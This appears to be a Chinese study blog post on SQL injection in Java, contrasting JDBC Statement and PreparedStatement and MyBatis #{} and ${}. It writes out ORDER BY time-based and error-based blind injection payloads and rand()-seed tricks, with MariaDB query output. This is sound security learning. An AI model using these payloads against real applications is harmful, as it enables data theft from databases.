0%

java注入学习

JDBC

JDBC是什么

Java DataBase Connectivity(Java语言连接数据库)

接口或类 作用
DriverManager类 1)管理和注册数据库驱动
2)得到数据库连接对象
Connection接口 一个连接对象,可用于创建Statement和PreparedStatement对象
Statemen接口 一个SQL语句对象,用于将SQL语句发送给数据库服务器
PreparedStetemen接口 一个SQL语句对象,是Statemen的子接口
ResultSet接口 用于封装数据库查询的结果集,返回给数据库Java程序
加载和注册驱动的方法 描述
Class.forName(数据库驱动实现类) 加载和注册数据库驱动,数据库驱动由mysql厂商”com.mysql.jbdc.Driver”

PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。

Statement不会对SQL语句进行预编译。

两种操作都是因为SQL语句拼接导致的SQL注入。

MyBatis框架

在mybatis中的,使用#包裹的字段在内部进行了预编译处理,而$并没有使用预编译,也就是JDBC中prepareStatement和Statement的区别。mybatis的sql语句通常是写在xml文件中。

order by 盲注

在SQL中是不允许union直接跟在order by后面的,所以我们可以考虑使用盲注或报错注入。

我的理解就是通过order by将列进行排序,通过返回的不同结果

举个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='1',sleep(1),1));
+------------------+------------+
| username | password |
+------------------+------------+
| Nakajima Ayato | 9CXLGSEWDO |
| Mildred Green | r8ZPbvDXBC |
| Ito Momoe | qao7ysP90D |
| Lo On Kay | x8rGVqTQqd |
| Kobayashi Sakura | lYiv7UO8Yo |
+------------------+------------+
5 rows in set (0.002 sec)

MariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='N',sleep(1),1));
+------------------+------------+
| username | password |
+------------------+------------+
| Nakajima Ayato | 9CXLGSEWDO |
| Mildred Green | r8ZPbvDXBC |
| Ito Momoe | qao7ysP90D |
| Lo On Kay | x8rGVqTQqd |
| Kobayashi Sakura | lYiv7UO8Yo |
+------------------+------------+
5 rows in set (5.004 sec)

可以看到,当if语句成立时返回的时间为5s,但是不成立时为0.002s

这是基于时间的盲注。

还可以利用其它的方式来进行盲注

例如:

1
2
MariaDB [test]> select * from user order by if(substr((select username from user limit 0,1),1,1)='a',1,(select host from mysql.user));
ERROR 1242 (21000): Subquery returns more than 1 row

如果if语句错误就会返回ERROR 1242 (21000): Subquery returns more than 1 row,当if成立时就会返回正常页面,可以通过返回的情况来判断。

rand()盲注

原理和order by大差不差,就是rand()会产生一个0-1之间的随机数,我们给一个固定的种子就会生成一个固定的数,所以我们控制rand的种子就可以造成排序的结果不同。

比如:

1
2
3
4
5
rand(1)
rand(0)
rand(1=1)
rand(lenth(database())=8)
....

#和$符号的区别

#{}

使用#{}意味着使用的预编译的语句,即在使用jdbc时的preparedStatement,sql语句中如果存在参数则会使用?作占位符,我们知道这种方式可以防止sql注入,并且在使用#{}时形成的sql语句,已经带有引号,例,select * from table1 where id=#{id} 在调用这个语句时我们可以通过后台看到打印出的sql为:select * from table1 where id=’2’ 加入传的值为2.也就是说在组成sql语句的时候把参数默认为字符串。

${}

使用${}时的sql不会当做字符串处理,是什么就是什么,如上边的语句:select * from table1 where id=${id} 在调用这个语句时控制台打印的为:select * from table1 where id=2 ,假设传的参数值为2

从上边的介绍可以看出这两种方式的区别,我们最好是能用#{}则用它,因为它可以防止sql注入,且是预编译的,在需要原样输出时才使用${},如,

select * from ${tableName} order by ${id} 这里需要传入表名和按照哪个列进行排序 ,加入传入table1、id 则语句为:select * from table1 order by id

如果是使用#{} 则变成了select * from ‘table1’ order by ‘id’ 我们知道这样就不对了。

另,在使用以下的配置时,必须使用#{}

1
2
3
4
<select id="selectMessageByIdI" parameterType="int" resultType="Message">

select * from message where id=#{id};
</select>

在parameterType是int时,sql语句中必须是#{}。

参考链接

关于Java中order by注入详解